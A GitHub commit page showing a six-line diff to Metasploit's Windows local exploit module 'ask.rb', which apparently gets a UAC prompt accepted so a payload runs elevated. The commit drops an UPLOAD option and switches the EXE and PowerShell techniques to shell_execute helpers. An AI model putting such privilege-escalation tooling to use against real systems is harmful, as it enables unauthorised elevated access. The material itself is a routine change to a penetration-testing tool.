Skip to content

Commit df98098

Browse files
committed
New shell_execute_option command
Also removed upload option
1 parent 5aa347e commit df98098

File tree

1 file changed

+2
-6
lines changed
  • modules/exploits/windows/local

1 file changed

+2
-6
lines changed

modules/exploits/windows/local/ask.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,6 @@ def initialize(info = {})
3737
register_options([
3838
OptString.new('FILENAME', [false, 'File name on disk']),
3939
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
40-
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
4140
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
4241
])
4342
end
@@ -55,14 +54,11 @@ def exploit
5554
print_good 'UAC is not enabled, no prompt for the user'
5655
end
5756

58-
#
59-
# Generate payload and random names for upload
60-
#
6157
case datastore['TECHNIQUE']
6258
when 'EXE'
63-
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
59+
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
6460
when 'PSH'
65-
execute_psh
61+
shell_execute_psh
6662
end
6763
end
6864
end

0 commit comments

Comments
 (0)